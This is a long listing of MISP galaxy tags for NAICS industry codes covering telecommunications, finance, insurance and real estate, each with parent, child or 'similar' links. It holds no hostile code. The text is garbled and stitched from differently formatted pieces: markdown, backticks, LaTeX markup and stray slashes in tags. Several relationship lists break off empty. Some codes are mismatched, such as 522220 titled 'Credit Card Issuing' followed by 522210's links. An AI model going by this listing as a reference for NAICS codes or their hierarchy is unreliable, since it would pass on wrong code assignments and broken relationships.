- similar: misp-galaxy:naics="517810" with estimative-language:likelihood-probability="likely"

517810
All Other Telecommunications
The tag is: misp-galaxy:naics="517810"

View relationships graph

517810 has relationships with:

- child-of: misp-galaxy:naics="5178" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="51781" with estimative-language:likelihood-probability="likely"

518
Computing Infrastructure Providers, Data Processing, Web Hosting, and Related Services
The tag is: misp-galaxy:naics="518"

View relationships graph

518 has relationships with:

- child-of: misp-galaxy:naics="51" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5182" with estimative-language:likelihood-probability="likely"

5182
Computing Infrastructure Providers, Data Processing, Web Hosting, and Related Services
The tag is: misp-galaxy:naics="5182"

View relationships graph

5182 has relationships with:

- child-of: misp-galaxy:naics="518" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51821" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="518210" with estimative-language:likelihood-probability="likely"
51821
Computing Infrastructure Providers, Data Processing, Web Hosting, and Related Services
The tag is: misp-galaxy:naics="51821"
View relationships graph
51821 has relationships with:
• child-of: misp-galaxy:naics="5182" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="518210" with estimative-language:likelihood-probability="likely"

518210
Computing Infrastructure Providers, Data Processing, Web Hosting, and Related Services
The tag is: misp-galaxy:naics="518210"
View relationships graph
518210 has relationships with:
• child-of: misp-galaxy:naics="5182" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="51821" with estimative-language:likelihood-probability="likely"

519
Web Search Portals, Libraries, Archives, and Other Information Services
The tag is: misp-galaxy:naics="519"
View relationships graph
519 has relationships with:
• child-of: misp-galaxy:naics="51" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="5192" with estimative-language:likelihood-probability="likely"

5192
Web Search Portals, Libraries, Archives, and Other Information Services
The tag is: misp-galaxy:naics="5192"
View relationships graph
5192 has relationships with:
• child-of: misp-galaxy:naics="519" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="51921" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="519210" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="51929" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="519290" with estimative-language:likelihood-probability="likely"

51921
Libraries and Archives
The tag is: misp-galaxy:naics="51921"

View relationships graph

51921 has relationships with:
• child-of: misp-galaxy:naics="519" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="519210" with estimative-language:likelihood-probability="likely"

519210
Libraries and Archives
The tag is: misp-galaxy:naics="519210"

View relationships graph

519210 has relationships with:
• child-of: misp-galaxy:naics="519" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="51921" with estimative-language:likelihood-probability="likely"

51929
Web Search Portals and All Other Information Services
The tag is: misp-galaxy:naics="51929"

View relationships graph

51929 has relationships with:
• child-of: misp-galaxy:naics="519" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="519290" with estimative-language:likelihood-probability="likely"
519290
Web Search Portals and All Other Information Services
The tag is: misp-galaxy:naics="519290"

View relationships graph

519290 has relationships with:

- child-of: misp-galaxy:naics="5192" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="51929" with estimative-language:likelihood-probability="likely"

52
Finance and Insurance
The tag is: misp-galaxy:naics="52"

View relationships graph

52 has relationships with:

- parent-of: misp-galaxy:naics="523" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="525" with estimative-language:likelihood-probability="likely"

521
Monetary Authorities-Central Bank
The tag is: misp-galaxy:naics="521"

View relationships graph

521 has relationships with:

- child-of: misp-galaxy:naics="52" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5211" with estimative-language:likelihood-probability="likely"

5211
Monetary Authorities-Central Bank
The tag is: misp-galaxy:naics="5211"
5211

Monetary Authorities-Central Bank

The tag is: *misp-galaxy:naics="5211"*

52111

Monetary Authorities-Central Bank

The tag is: *misp-galaxy:naics="52111"*

521110

Monetary Authorities-Central Bank

The tag is: *misp-galaxy:naics="521110"*

522

Credit Intermediation and Related Activities

The tag is: *misp-galaxy:naics="522"*
parent-of: misp-galaxy:naics="5223" with estimative-language:likelihood-probability="likely"

5221
Depository Credit Intermediation
The tag is: misp-galaxy:naics="5221"
View relationships graph
5221 has relationships with:

- child-of: misp-galaxy:naics="522" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="522110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52213" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="522130" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52218" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="522180" with estimative-language:likelihood-probability="likely"

52211
Commercial Banking
The tag is: misp-galaxy:naics="52211"
View relationships graph
52211 has relationships with:

- child-of: misp-galaxy:naics="522" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="522110" with estimative-language:likelihood-probability="likely"

522110
Commercial Banking
The tag is: misp-galaxy:naics="522110"
View relationships graph
522110 has relationships with:

- child-of: misp-galaxy:naics="522" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52211" with estimative-language:likelihood-probability="likely"
52213
Credit Unions
The tag is: *misp-galaxy:naics*="52213"

View relationships graph

52213 has relationships with:

- child-of: *misp-galaxy:naics*="5221" with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics*="522130" with estimative-language:likelihood-probability="likely"

522130
Credit Unions
The tag is: *misp-galaxy:naics*="522130"

View relationships graph

522130 has relationships with:

- child-of: *misp-galaxy:naics*="5221" with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics*="52213" with estimative-language:likelihood-probability="likely"

52218
Savings Institutions and Other Depository Credit Intermediation
The tag is: *misp-galaxy:naics*="52218"

View relationships graph

52218 has relationships with:

- child-of: *misp-galaxy:naics*="5221" with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics*="522180" with estimative-language:likelihood-probability="likely"

522180
Savings Institutions and Other Depository Credit Intermediation
The tag is: *misp-galaxy:naics*="522180"

View relationships graph

522180 has relationships with:
5222
Nondepository Credit Intermediation
The tag is: misp-galaxy:naics="5222"

View relationships graph

5222 has relationships with:
- child-of: misp-galaxy:naics="522" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="522210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52222" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="522220" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52229" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="522291" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="522292" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="522299" with estimative-language:likelihood-probability="likely"

52221
Credit Card Issuing
The tag is: misp-galaxy:naics="52221"

View relationships graph

52221 has relationships with:
- child-of: misp-galaxy:naics="5222" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="522210" with estimative-language:likelihood-probability="likely"

522220
Credit Card Issuing
The tag is: misp-galaxy:naics="522220"

View relationships graph

522210 has relationships with:
• child-of: misp-galaxy:naics="5222" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="52221" with estimative-language:likelihood-probability="likely"

52222
Sales Financing
The tag is: misp-galaxy:naics="52222"

View relationships graph

52222 has relationships with:
• child-of: misp-galaxy:naics="5222" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="522220" with estimative-language:likelihood-probability="likely"

522220
Sales Financing
The tag is: misp-galaxy:naics="522220"

View relationships graph

522220 has relationships with:
• child-of: misp-galaxy:naics="5222" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="52222" with estimative-language:likelihood-probability="likely"

52229
Other Nondepository Credit Intermediation
The tag is: misp-galaxy:naics="52229"

View relationships graph

52229 has relationships with:
• child-of: misp-galaxy:naics="5222" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="52222" with estimative-language:likelihood-probability="likely"

522291
Consumer Lending
The tag is: misp-galaxy:naics="522291"

View relationships graph
522291 has relationships with:

- child-of: misp-galaxy:naics="5222" with estimative-language:likelihood-probability="likely"

**522292**

Real Estate Credit

The tag is: *misp-galaxy:naics="522292"

View relationships graph

522292 has relationships with:

- child-of: misp-galaxy:naics="5222" with estimative-language:likelihood-probability="likely"

**522299**

International, Secondary Market, and All Other Nondepository Credit Intermediation

The tag is: *misp-galaxy:naics="522299"

View relationships graph

522299 has relationships with:

- child-of: misp-galaxy:naics="5222" with estimative-language:likelihood-probability="likely"

**5223**

Activities Related to Credit Intermediation

The tag is: *misp-galaxy:naics="5223"

View relationships graph

5223 has relationships with:

- child-of: misp-galaxy:naics="522" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52231" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="522310" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52232" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="522320" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52239" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="522390" with estimative-language:likelihood-probability="likely"
52231
Mortgage and Nonmortgage Loan Brokers
The tag is: misp-galaxy:naics="52231"
View relationships graph
52231 has relationships with:
  • child-of: misp-galaxy:naics="5223" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="522310" with estimative-language:likelihood-probability="likely"

522310
Mortgage and Nonmortgage Loan Brokers
The tag is: misp-galaxy:naics="522310"
View relationships graph
522310 has relationships with:
  • child-of: misp-galaxy:naics="5223" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="52231" with estimative-language:likelihood-probability="likely"

52232
Financial Transactions Processing, Reserve, and Clearinghouse Activities
The tag is: misp-galaxy:naics="52232"
View relationships graph
52232 has relationships with:
  • child-of: misp-galaxy:naics="5223" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="522320" with estimative-language:likelihood-probability="likely"

522320
Financial Transactions Processing, Reserve, and Clearinghouse Activities
The tag is: misp-galaxy:naics="522320"
View relationships graph
522320 has relationships with:
52239
Other Activities Related to Credit Intermediation
The tag is: misp-galaxy:naics="52239"
View relationships graph

52239 has relationships with:

- child-of: misp-galaxy:naics="5223" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52232" with estimative-language:likelihood-probability="likely"

522390
Other Activities Related to Credit Intermediation
The tag is: misp-galaxy:naics="522390"
View relationships graph

522390 has relationships with:

- child-of: misp-galaxy:naics="5223" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52239" with estimative-language:likelihood-probability="likely"

523
Securities, Commodity Contracts, and Other Financial Investments and Related Activities
The tag is: misp-galaxy:naics="523"
View relationships graph

523 has relationships with:

- child-of: misp-galaxy:naics="52" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5231" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5232" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5239" with estimative-language:likelihood-probability="likely"

5231
Securities and Commodity Contracts Intermediation and Brokerage
5231 has relationships with:

- child-of: misp-galaxy:naics="523" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52315" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="523150" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52316" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="523160" with estimative-language:likelihood-probability="likely"

52315

Investment Banking and Securities Intermediation

The tag is: misp-galaxy:naics="52315"

52315 has relationships with:

- child-of: misp-galaxy:naics="5231" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="523150" with estimative-language:likelihood-probability="likely"

523150

Investment Banking and Securities Intermediation

The tag is: misp-galaxy:naics="523150"

52316

Commodity Contracts Intermediation

The tag is: misp-galaxy:naics="52316"
523160
Commodity Contracts Intermediation
The tag is: *misp-galaxy:naics="/523160"
View relationships graph
523160 has relationships with:

• child-of: *misp-galaxy:naics="/5231" with estimative-language:likelihood-probability="likely"
• similar: *misp-galaxy:naics="/52316" with estimative-language:likelihood-probability="likely"

5232
Securities and Commodity Exchanges
The tag is: *misp-galaxy:naics="/5232"
View relationships graph
5232 has relationships with:

• child-of: *misp-galaxy:naics="/523" with estimative-language:likelihood-probability="likely"
• parent-of: *misp-galaxy:naics="/52321" with estimative-language:likelihood-probability="likely"
• parent-of: *misp-galaxy:naics="/523210" with estimative-language:likelihood-probability="likely"

52321
Securities and Commodity Exchanges
The tag is: *misp-galaxy:naics="/52321"
View relationships graph
52321 has relationships with:

• child-of: *misp-galaxy:naics="/5232" with estimative-language:likelihood-probability="likely"
• similar: *misp-galaxy:naics="/523210" with estimative-language:likelihood-probability="likely"

523210
Securities and Commodity Exchanges
The tag is: *misp-galaxy:naics="/523210"
523210 has relationships with:
  • child-of: misp-galaxy:naics="5232" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="52321" with estimative-language:likelihood-probability="likely"

5239

Other Financial Investment Activities

The tag is: misp-galaxy:naics="5239"

5239 has relationships with:
  • child-of: misp-galaxy:naics="523" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="52391" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="523910" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="52394" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="523940" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="52399" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="523991" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="523999" with estimative-language:likelihood-probability="likely"

52391

Miscellaneous Intermediation

The tag is: misp-galaxy:naics="52391"

52391 has relationships with:
  • child-of: misp-galaxy:naics="5239" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="523910" with estimative-language:likelihood-probability="likely"

523910

Miscellaneous Intermediation

The tag is: misp-galaxy:naics="523910"
523910 has relationships with:

- child-of: misp-galaxy:naics="5239" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52391" with estimative-language:likelihood-probability="likely"

52394
Portfolio Management and Investment Advice
The tag is: misp-galaxy:naics="52394"
View relationships graph

52394 has relationships with:

- child-of: misp-galaxy:naics="5239" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="523940" with estimative-language:likelihood-probability="likely"

523940
Portfolio Management and Investment Advice
The tag is: misp-galaxy:naics="523940"
View relationships graph

523940 has relationships with:

- child-of: misp-galaxy:naics="5239" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52394" with estimative-language:likelihood-probability="likely"

52399
All Other Financial Investment Activities
The tag is: misp-galaxy:naics="52399"
View relationships graph

52399 has relationships with:

- child-of: misp-galaxy:naics="5239" with estimative-language:likelihood-probability="likely"

523991
Trust, Fiduciary, and Custody Activities
The tag is: misp-galaxy:naics="523991"
523999

Miscellaneous Financial Investment Activities

The tag is: misp-galaxy:naics="523999"

524

Insurance Carriers and Related Activities

The tag is: misp-galaxy:naics="524"

5241

Insurance Carriers

The tag is: misp-galaxy:naics="5241"
52411
Direct Life, Health, and Medical Insurance Carriers
The tag is: `misp-galaxy:naics="52411"`

View relationships graph

52411 has relationships with:

- child-of: `misp-galaxy:naics="5241"` with estimative-language:likelihood-probability="likely"

524113
Direct Life Insurance Carriers
The tag is: `misp-galaxy:naics="524113"`

View relationships graph

524113 has relationships with:

- child-of: `misp-galaxy:naics="5241"` with estimative-language:likelihood-probability="likely"

524114
Direct Health and Medical Insurance Carriers
The tag is: `misp-galaxy:naics="524114"`

View relationships graph

524114 has relationships with:

- child-of: `misp-galaxy:naics="5241"` with estimative-language:likelihood-probability="likely"

52412
Direct Insurance (except Life, Health, and Medical) Carriers
The tag is: `misp-galaxy:naics="52412"`
52412 has relationships with:
  • child-of: misp-galaxy:naics="5241" with estimative-language:likelihood-probability="likely"

524126
Direct Property and Casualty Insurance Carriers
The tag is: misp-galaxy:naics="524126"

524127
Direct Title Insurance Carriers
The tag is: misp-galaxy:naics="524127"

524128
Other Direct Insurance (except Life, Health, and Medical) Carriers
The tag is: misp-galaxy:naics="524128"

52413
Reinsurance Carriers
The tag is: misp-galaxy:naics="52413"
52413 has relationships with:

- child-of: misp-galaxy:naics="5241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="524130" with estimative-language:likelihood-probability="likely"

524130

Reinsurance Carriers

The tag is: misp-galaxy:naics="524130"

View relationships graph

524130 has relationships with:

- child-of: misp-galaxy:naics="5241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52413" with estimative-language:likelihood-probability="likely"

5242

Agencies, Brokerages, and Other Insurance Related Activities

The tag is: misp-galaxy:naics="5242"

View relationships graph

5242 has relationships with:

- child-of: misp-galaxy:naics="524" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="524210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52429" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="524291" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="524292" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="524298" with estimative-language:likelihood-probability="likely"

52421

Insurance Agencies and Brokerages

The tag is: misp-galaxy:naics="52421"

View relationships graph

52421 has relationships with:

- child-of: misp-galaxy:naics="5242" with estimative-language:likelihood-probability="likely"
524210

Insurance Agencies and Brokerages

The tag is: \textit{misp-galaxy:naics="524210"}

View relationships graph

524210 has relationships with:

- child-of: \textit{misp-galaxy:naics="5242"} with estimative-language:likelihood-probability="likely"
- similar: \textit{misp-galaxy:naics="52421"} with estimative-language:likelihood-probability="likely"

52429

Other Insurance Related Activities

The tag is: \textit{misp-galaxy:naics="52429"}

View relationships graph

52429 has relationships with:

- child-of: \textit{misp-galaxy:naics="5242"} with estimative-language:likelihood-probability="likely"

524291

Claims Adjusting

The tag is: \textit{misp-galaxy:naics="524291"}

View relationships graph

524291 has relationships with:

- child-of: \textit{misp-galaxy:naics="5242"} with estimative-language:likelihood-probability="likely"

524292

Pharmacy Benefit Management and Other Third Party Administration of Insurance and Pension Funds

The tag is: \textit{misp-galaxy:naics="524292"}

View relationships graph

524292 has relationships with:
524298

All Other Insurance Related Activities

The tag is: misp-galaxy:naics="524298"

View relationships graph

524298 has relationships with:

- child-of: misp-galaxy:naics="5242" with estimative-language:likelihood-probability="likely"

525

Funds, Trusts, and Other Financial Vehicles

The tag is: misp-galaxy:naics="525"

View relationships graph

525 has relationships with:

- child-of: misp-galaxy:naics="52" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5251" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5259" with estimative-language:likelihood-probability="likely"

5251

Insurance and Employee Benefit Funds

The tag is: misp-galaxy:naics="5251"

View relationships graph

5251 has relationships with:

- child-of: misp-galaxy:naics="525" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52511" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="525110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52512" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="525120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52519" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="525190" with estimative-language:likelihood-probability="likely"
52511
Pension Funds
The tag is: misp-galaxy:naics="52511"
View relationships graph
52511 has relationships with:
  • child-of: misp-galaxy:naics="5251" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="525110" with estimative-language:likelihood-probability="likely"

525110
Pension Funds
The tag is: misp-galaxy:naics="525110"
View relationships graph
525110 has relationships with:
  • child-of: misp-galaxy:naics="5251" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="52511" with estimative-language:likelihood-probability="likely"

52512
Health and Welfare Funds
The tag is: misp-galaxy:naics="52512"
View relationships graph
52512 has relationships with:
  • child-of: misp-galaxy:naics="5251" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="525120" with estimative-language:likelihood-probability="likely"

525120
Health and Welfare Funds
The tag is: misp-galaxy:naics="525120"
View relationships graph
525120 has relationships with:
52519

Other Insurance Funds

The tag is: misp-galaxy:naics="52519"

View relationships graph

52519 has relationships with:

- child-of: misp-galaxy:naics="5251" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52512" with estimative-language:likelihood-probability="likely"

525190

Other Insurance Funds

The tag is: misp-galaxy:naics="525190"

View relationships graph

525190 has relationships with:

- child-of: misp-galaxy:naics="5251" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52519" with estimative-language:likelihood-probability="likely"

5259

Other Investment Pools and Funds

The tag is: misp-galaxy:naics="5259"

View relationships graph

5259 has relationships with:

- child-of: misp-galaxy:naics="525" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52591" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="525910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52592" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="525920" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52599" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="525990" with estimative-language:likelihood-probability="likely"
52591
Open-End Investment Funds
The tag is: misp-galaxy:naics="52591"
View relationships graph
52591 has relationships with:
  • child-of: misp-galaxy:naics="5259" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="525910" with estimative-language:likelihood-probability="likely"

525910
Open-End Investment Funds
The tag is: misp-galaxy:naics="525910"
View relationships graph
525910 has relationships with:
  • child-of: misp-galaxy:naics="5259" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="52591" with estimative-language:likelihood-probability="likely"

52592
Trusts, Estates, and Agency Accounts
The tag is: misp-galaxy:naics="52592"
View relationships graph
52592 has relationships with:
  • child-of: misp-galaxy:naics="5259" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="525920" with estimative-language:likelihood-probability="likely"

525920
Trusts, Estates, and Agency Accounts
The tag is: misp-galaxy:naics="525920"
View relationships graph
525920 has relationships with:
• child-of: misp-galaxy:naics="5259" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="52592" with estimative-language:likelihood-probability="likely"

52599
Other Financial Vehicles
The tag is: misp-galaxy:naics="52599"
View relationships graph
52599 has relationships with:
• child-of: misp-galaxy:naics="5259" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="525990" with estimative-language:likelihood-probability="likely"

525990
Other Financial Vehicles
The tag is: misp-galaxy:naics="525990"
View relationships graph
525990 has relationships with:
• child-of: misp-galaxy:naics="5259" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="52599" with estimative-language:likelihood-probability="likely"

53
Real Estate and Rental and Leasing
The tag is: misp-galaxy:naics="53"
View relationships graph
53 has relationships with:
• parent-of: misp-galaxy:naics="531" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="532" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="533" with estimative-language:likelihood-probability="likely"

531
Real Estate
The tag is: misp-galaxy:naics="531"
View relationships graph

531 has relationships with:

- child-of: misp-galaxy:naics="53" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5313" with estimative-language:likelihood-probability="likely"

5311

Lessors of Real Estate

The tag is: misp-galaxy:naics="5311"

View relationships graph

5311 has relationships with:

- child-of: misp-galaxy:naics="531" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="531111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="531110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="53112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="531120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="53113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="531130" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="53119" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="531190" with estimative-language:likelihood-probability="likely"

53111

Lessors of Residential Buildings and Dwellings

The tag is: misp-galaxy:naics="53111"

View relationships graph

53111 has relationships with:

- child-of: misp-galaxy:naics="531" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="531110" with estimative-language:likelihood-probability="likely"
531110
Lessors of Residential Buildings and Dwellings
The tag is: misp-galaxy:naics="531110"
View relationships graph
531110 has relationships with:
  • child-of: misp-galaxy:naics="5311" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="53111" with estimative-language:likelihood-probability="likely"

53112
Lessors of Nonresidential Buildings (except Miniwarehouses)
The tag is: misp-galaxy:naics="53112"
View relationships graph
53112 has relationships with:
  • child-of: misp-galaxy:naics="5311" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="531120" with estimative-language:likelihood-probability="likely"

531120
Lessors of Nonresidential Buildings (except Miniwarehouses)
The tag is: misp-galaxy:naics="531120"
View relationships graph
531120 has relationships with:
  • child-of: misp-galaxy:naics="5311" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="53112" with estimative-language:likelihood-probability="likely"

53113
Lessors of Miniwarehouses and Self-Storage Units
The tag is: misp-galaxy:naics="53113"
View relationships graph
53113 has relationships with:
• child-of: misp-galaxy:naics="5311" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="531130" with estimative-language:likelihood-probability="likely"

531130

Lessors of Miniwarehouses and Self-Storage Units

The tag is: misp-galaxy:naics="531130"

View relationships graph

531130 has relationships with:

• child-of: misp-galaxy:naics="5311" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="53113" with estimative-language:likelihood-probability="likely"

53119

Lessors of Other Real Estate Property

The tag is: misp-galaxy:naics="53119"

View relationships graph

53119 has relationships with:

• child-of: misp-galaxy:naics="5311" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="531190" with estimative-language:likelihood-probability="likely"

531190

Lessors of Other Real Estate Property

The tag is: misp-galaxy:naics="531190"

View relationships graph

531190 has relationships with:

• child-of: misp-galaxy:naics="5311" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="53119" with estimative-language:likelihood-probability="likely"

5312

Offices of Real Estate Agents and Brokers

The tag is: misp-galaxy:naics="5312"
View relationships graph

5312 has relationships with:

- child-of: misp-galaxy:naics="531" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="53121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="531210" with estimative-language:likelihood-probability="likely"

53121

Offices of Real Estate Agents and Brokers

The tag is: misp-galaxy:naics="53121"

View relationships graph

53121 has relationships with:

- child-of: misp-galaxy:naics="5312" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="531210" with estimative-language:likelihood-probability="likely"

531210

Offices of Real Estate Agents and Brokers

The tag is: misp-galaxy:naics="531210"

View relationships graph

531210 has relationships with:

- child-of: misp-galaxy:naics="5312" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="53121" with estimative-language:likelihood-probability="likely"

5313

Activities Related to Real Estate

The tag is: misp-galaxy:naics="5313"

View relationships graph

5313 has relationships with:

- child-of: misp-galaxy:naics="531" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="53131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="531311" with estimative-language:likelihood-probability="likely"
53131

Real Estate Property Managers

The tag is: misp-galaxy:naics="53131"

53131 has relationships with:

• child-of: misp-galaxy:naics="5313" with estimative-language:likelihood-probability="likely"

531311

Residential Property Managers

The tag is: misp-galaxy:naics="531311"

531311 has relationships with:

• child-of: misp-galaxy:naics="5313" with estimative-language:likelihood-probability="likely"

531312

Nonresidential Property Managers

The tag is: misp-galaxy:naics="531312"

531312 has relationships with:

• child-of: misp-galaxy:naics="5313" with estimative-language:likelihood-probability="likely"

53132

Offices of Real Estate Appraisers

The tag is: misp-galaxy:naics="53132"
53132 has relationships with:

- child-of: misp-galaxy:naics="5313" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="531320" with estimative-language:likelihood-probability="likely"

**531320**

Offices of Real Estate Appraisers

The tag is: misp-galaxy:naics="531320"

531320 has relationships with:

- child-of: misp-galaxy:naics="5313" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="53132" with estimative-language:likelihood-probability="likely"

**53139**

Other Activities Related to Real Estate

The tag is: misp-galaxy:naics="53139"

53139 has relationships with:

- child-of: misp-galaxy:naics="5313" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="531390" with estimative-language:likelihood-probability="likely"

**531390**

Other Activities Related to Real Estate

The tag is: misp-galaxy:naics="531390"

531390 has relationships with:

